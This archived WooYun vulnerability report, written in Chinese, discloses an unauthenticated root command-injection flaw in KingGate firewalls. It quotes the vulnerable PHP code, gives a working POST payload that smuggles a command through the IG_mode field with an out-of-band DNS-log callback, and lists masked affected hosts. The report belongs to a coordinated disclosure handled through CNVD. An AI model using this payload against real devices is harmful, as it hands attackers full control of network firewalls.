当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0178456

漏洞标题:某防火墙远程命令执行(cloudeye演示实例)

相关厂商:cncert

漏洞作者: 老虎皮

提交时间:2016-02-25 01:50

修复时间:2016-05-26 19:00

公开时间:2016-05-26 19:00

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-25: 细节已通知厂商并且等待厂商处理中
2016-02-26: 厂商已经确认,细节仅向厂商公开
2016-02-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-21: 细节向核心白帽子及相关领域专家公开
2016-05-01: 细节向普通白帽子公开
2016-05-11: 细节向实习白帽子公开
2016-05-26: 细节向公众公开

简要描述:

厂商说不管,请管理员交给cert处理

详细说明:

无需登录,远程任意命令执行(root权限),直接撸穿源代码,随意控制防火墙
无需登录,远程任意命令执行(root权限),直接撸穿源代码,随意控制防火墙
该设计缺陷新旧版本的KingGate防火墙通杀

1.png


2.png


通过案例一 **.**.**.**/bugs/wooyun-2016-0176999
我已经撸到了源代码
在对源代码审计过程中发现一枚无需登录的远程命令执行漏洞
在src/frame/status_JobModeSet.php

require("../lib/public.inc");
require("../lib/zone_single_group.inc");
if ($_SERVER['REQUEST_METHOD'] == "POST")
{
$IG_mode = $_POST['IG_mode'];
$selejobmode = trim($_POST['selejobmode']);
$selearray = explode("/", $selejobmode);
$speed = $selearray[0];
$duplex = $selearray[1];

$config_dir = "/etc/infogate/network/mode";
$config_file = $config_dir."/eth".$IG_mode;
if(!is_dir($config_dir))
{
system("mkdir $config_dir >/dev/null 2/dev/null");
}
if(!file_exists($config_file))
{
system("touch $config_file >/dev/null 2/dev/null");
}


关键代码

if(!file_exists($config_file))
{
system("touch $config_file >/dev/null 2/dev/null");
}


其中$config_file又来自于

$config_file = $config_dir."/eth".$IG_mode;


而$IG_mode又来自于

$IG_mode = $_POST['IG_mode'];


所以只要我们构造好特殊的命令即可执行
**.**.**.**/src/frame/status_JobModeSet.php
postdata
IG_mode=a|ping woainiwooyun123.118e1c.dnslog.info -c 10 ||

1-1.png


1-2.png


1-3.png


受影响的如下列表:
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php

漏洞证明:

通过案例一 **.**.**.**/bugs/wooyun-2016-0176999
我已经撸到了源代码
在对源代码审计过程中发现一枚无需登录的远程命令执行漏洞
在src/frame/status_JobModeSet.php

require("../lib/public.inc");
require("../lib/zone_single_group.inc");
if ($_SERVER['REQUEST_METHOD'] == "POST")
{
$IG_mode = $_POST['IG_mode'];
$selejobmode = trim($_POST['selejobmode']);
$selearray = explode("/", $selejobmode);
$speed = $selearray[0];
$duplex = $selearray[1];

$config_dir = "/etc/infogate/network/mode";
$config_file = $config_dir."/eth".$IG_mode;
if(!is_dir($config_dir))
{
system("mkdir $config_dir >/dev/null 2/dev/null");
}
if(!file_exists($config_file))
{
system("touch $config_file >/dev/null 2/dev/null");
}


关键代码

if(!file_exists($config_file))
{
system("touch $config_file >/dev/null 2/dev/null");
}


其中$config_file又来自于

$config_file = $config_dir."/eth".$IG_mode;


而$IG_mode又来自于

$IG_mode = $_POST['IG_mode'];


所以只要我们构造好特殊的命令即可执行
**.**.**.**/src/frame/status_JobModeSet.php
postdata
IG_mode=a|ping woainiwooyun123.118e1c.dnslog.info -c 10 ||

1-1.png


1-2.png


1-3.png


受影响的如下列表:
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php

修复方案:

版权声明:转载请注明来源 老虎皮@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2016-02-26 18:51

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-02-25 11:57 | Mark0smith ( 普通白帽子 | Rank:172 漏洞数:68 | 我要是再正常一点就好了)

    卧槽,好牛啊

  2. 2016-03-01 06:54 | sangfor.org ( 实习白帽子 | Rank:52 漏洞数:25 | 天下熙熙,皆为利来;天下攘攘,皆为利往...)

  3. 2016-03-01 09:56 | 枫子 ( 路人 | Rank:14 漏洞数:5 | 酱油安全爱好者一枚。)

    学习围观

  4. 2016-03-02 16:45 | SH0X8001 ( 路人 | Rank:25 漏洞数:6 | 你猜)

    到底是哪家厂商?